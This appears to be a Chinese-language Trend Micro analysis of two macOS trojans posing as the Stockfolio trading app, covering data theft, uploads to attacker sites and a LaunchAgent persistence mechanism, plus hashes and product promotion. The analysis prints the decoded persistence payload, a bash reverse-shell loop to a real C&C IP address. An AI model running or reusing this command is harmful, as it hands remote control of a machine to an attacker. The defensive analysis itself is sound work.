趨勢科技發現兩隻偽裝成 Mac合法交易軟體 Stockfolio 的木馬,會在螢幕上出現真實的股票交易介面,但在背景執行惡意行為,蒐集使用者名稱、 IP地址 、螢幕截圖等個資。其中一個變種偽裝成正常軟體的假應用程式包含了多個惡意組件,其中一個軟體套件 Stockfoli.app, 與正牌的應用程式:Stockfolio 比較, 名稱結尾少了 “o” 。
建議想買賣股票的使用者在下載程式時要小心謹慎,尤其是當它來自未知或可疑的網站時。使用者可以利用趨勢科技PC-cillin取得保護,它提供了全面性的安全防護及多裝置的保護來抵禦網路威脅。
在網路時代之前,想在股票或期貨市場進行交易需要打電話給券商(這樣做通常代表著額外費用),而股票交易軟體的出現讓一般使用者也可以自己進行交易。但這類軟體的盛行也引來網路犯罪分子的注意,惡意分子會製作假交易軟體來誘騙毫無戒心的受害者並竊取其個人資料。趨勢科技最近發現並分析了此類應用程式,這惡意軟體變種會偽裝成 Mac上的合法交易軟體 Stockfolio。
我們發現了此惡意軟體家族的兩個變種。第一個樣本包含兩個腳本程式並會連到遠端網站來解密其加密的程式碼,而第二個樣本雖然只使用一個腳本以及更簡化的行為,但實際上還加入了持續性機制。
樣本1:Trojan.MacOS.GMERA.A
我們在檢查機器學習(Machine learning,ML)系統所標記可疑 shell 腳本時發現了第一個樣本(偵測為Trojan.MacOS.GMERA.A)。但看此樣本會有困難去直接識別其惡意行為,因為 shell 腳本會參照其他檔案(如 AppCode,.pass和.app)。為了驗證該行為確實為惡意,我們利用自己的情報網路及VirusTotal平台(有提供該樣本,但在本文撰寫時尚未有其他主要安全廠商能偵測)來取得原始檔案。
原始樣本是個 zip壓縮檔(偵測為Trojan.MacOS.GMERA.A),裡面包含一個軟體套件(Stockfoli.app)和一個隱藏的加密檔案(.app)。該偽裝成正常軟體的假應用程式包含了多個惡意組件用來誘騙使用者。
Zip 壓縮檔及其內容
第一個可疑組件是 Resources目錄底下的軟體套件,它看起來是正常的 Stockfolio版本1.4.13,但帶有惡意軟體作者的數位憑證。
跟 Stockfolio網站上所找到當前版本(1.5)的Resource目錄進行比較後可以發現有許多差異,如下圖所示。
技術分析
當執行該應用程式時,會在螢幕上出現真實的股票交易介面。但使用者不知道的是惡意軟體已經在背景執行惡意行為。
主Mach-O執行檔會在Resources目錄啟動下列Shell腳本:
- Plugin
- Stock
Plugin和Stock Shell腳本
Plugin shell腳本從受感染系統收集下列資訊:
- 使用者名稱
- IP地址
- /Applications內的應用程式
- ~/Documents內的檔案
- ~/Desktop內的檔案
- 作業系統安裝日期
- 檔案系統磁碟空間使用率
- 圖形/顯示資訊
- 無線網路資訊
- 螢幕截圖
它接著會用base64編碼收集來的資訊,並將所收集的資訊儲存到一個隱藏檔案:/tmp/.info。然後,它會用收集來的使用者名稱和機器序號作為識別碼將檔案上傳到hxxps://appstockfolio.com/panel/upload[.]php。
如果網址發出成功回應,它會將回應寫入另一個隱藏檔案~/Library/Containers/.pass
Stock shell腳本會將Stockfoli.app/Contents/Resources/appcode複製到/private/var/tmp/appcode。它接著會尋找.app檔案,這是Stockfoli.app軟體套件內的隱藏檔案。
它會解碼b64編碼的.app檔案,執行並產生以下檔案:
檔案 | 細節 |
/tmp/.hostname | gmzera54l5qpa6lm.onion |
/tmp/.privatkey | RSA金鑰 |
它會移除.app檔案,然後檢查~/Library/Containers/.pass檔案是否存在。使用.pass檔案內容作為金鑰,惡意軟體會解密用AES-256-CBC加密的/private/var/tmp/appcode,再將解密後的檔案儲存到/tmp/appcode。最後,它會執行appcode。如果失敗,它會刪除/tmp/appcode檔案和~/Library/Containers/.pass。要注意的是,我們的樣本分析最後解密失敗,因為樣本無法產生~/Library/Containers /.pass。
我們懷疑檔案appcode有包含其他惡意行為。但在本文撰寫時,我們無法解密此檔案,因為無法連到上傳網址hxxps://appstockfolio.com/panel/upload [.]php(根據VirusTotal,該網域在2019年1月至2019年2月還在活動)。此外,由於存在未用到的地址gmzera54l5qpa6lm[.onion],我們懷疑完整的惡意軟體行為會使用TOR網路。
樣本2:Trojan.MacOS.GMERA.B
我們根據第一個樣本的數位憑證找到了第二個變種(偵測為Trojan.MacOS.GMERA.B),該變種在2019年6月上傳到VirusTotal。跟第一個變種一樣,它包入了帶有惡意軟體作者數位憑證的Stockfolio 1.4.13版本軟體。當執行時也會用類似的作法掩飾其惡意行為。
一旦開啟,Trojan.MacOS.GMERA.B會執行內嵌的Stockfolio 1.4.13版,接著會啟動shell腳本run.sh。
腳本run.sh透過下列命令從受感染電腦收集使用者名稱和IP地址:
- 使用者名稱:whoami
- ip地址:curl -s ipecho.net/plain
它會連到惡意軟體網址hxxp://owpqkszz[.]info並用下列格式送出使用者名稱和IP地址資訊:
- hxxp://owpqkszz[.]info/link.php?{username}&{ip address}
此惡意軟體還會產生以下檔案:
檔案 | 細節 |
/private/tmp/.com.apple.upd.plist | 複製~/Library/LaunchAgents/.com.apple.upd.plist |
~/Library/LaunchAgents/.com.apple.upd.plist | 持續性機制 |
/tmp/loglog | 惡意軟體執行日誌 |
它接著會跟C&C伺服器193[.]37[.]212[.]176建立簡單的反向shell。一旦建立起連線,惡意軟體作者就可以執行Shell命令。
除了簡化的行為外,第二個變種的主要更動之一是利用屬性列表(plist)檔案作為持續性機制:~/Library/LaunchAgents/.com.apple.upd.plist
解碼plist檔案的b64編碼參數後,我們發現了下列程式碼:
- while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212.176/25733 0>&1’; done
這會讓plist檔案不斷地建立前面所提到的反向Shell,每10,000秒進行一次。
所建立的簡單反向shell使用端口25733-25736。
結論
根據我們從惡意軟體變種看到的迭代變化,我們注意到了一種趨勢,惡意軟體作者會簡化行為並加入更多功能。攻擊者可能在尋找提高效率的方法 – 甚至會在將來增加躲避偵測機制。
同時,我們建議想買賣股票的使用者在下載程式時要小心謹慎,尤其是當它來自未知或可疑的網站時。我們建議使用者只從官方來源下載應用程式,以最大程度地減少下載到惡意應用程式的機會。
我們在發表本文前已經聯繫過Apple,他們告知我們該假應用程式開發人員的程式碼簽章憑證已於今年7月被撤銷。
趨勢科技解決方案
使用者可以利用 趨勢科技PC-cillin 來取得保護,它提供了全面性的安全防護及多裝置的保護來抵禦網路威脅。企業可以用XGen安全防護技術所驅動的趨勢科技Smart Protection Suites,它融合了高保真機器學習及混合式威脅防護技術來消弭使用者活動及端點所面臨的各種安全問題。
入侵指標(IoC)
樣本1
檔案名稱 | SHA256 | 偵測名稱 |
Plugin | 6fe741ef057d38dd6d9bbe02dacbcb4940dac6c32e0f50a641e73727d6bf60d9 | Trojan.SH.GMERA.A |
Stock | 6f48ef0d76ce68bbca53b05d2d22031aec5ce997e7227c3dcb20809959680f11 | Trojan.SH.GMERA.A |
Stockfoli | efd5b96f489f934f2465a185e43fddf50fcde51b12a8fb91d5d93b09a21706c7 | Trojan.MacOS.GMERA.A |
Trial_Stockfoli.zip | 18e1db7c37a63d987a5448b4dd25103c8053799b0deea5f45f00ca094afe2fe7 | Trojan.MacOS.GMERA.A |
樣本2
檔案名稱 | SHA256 | 偵測名稱 |
com.apple.upd.plist | be8b6549da925f285307b17c616a010a9418af70d090ed960ade575ce27c7787 | Trojan.MacOS.GMERA.B |
run.sh | d50f5e94f2c417623c5f573963cc777c0676cc7245d65967ca09a53f464d2b50 | Trojan.SH.GMERA.B |
Stockfoli | 83df2f39140679a9cfb55f9c839ff8e7638ba29dba164900f9c77bb177796e03 | Trojan.MacOS.GMERA.B |
Trial_Stockfoli.zip | faa2799751582b8829c61cbfe2cbaf3e792960835884b61046778d17937520f4 | Trojan.MacOS.GMERA.B |
@原文出處:Mac Malware that Spoofs Trading App Steals User Information, Uploads it to Website 作者:Luis Magisa(趨勢科技)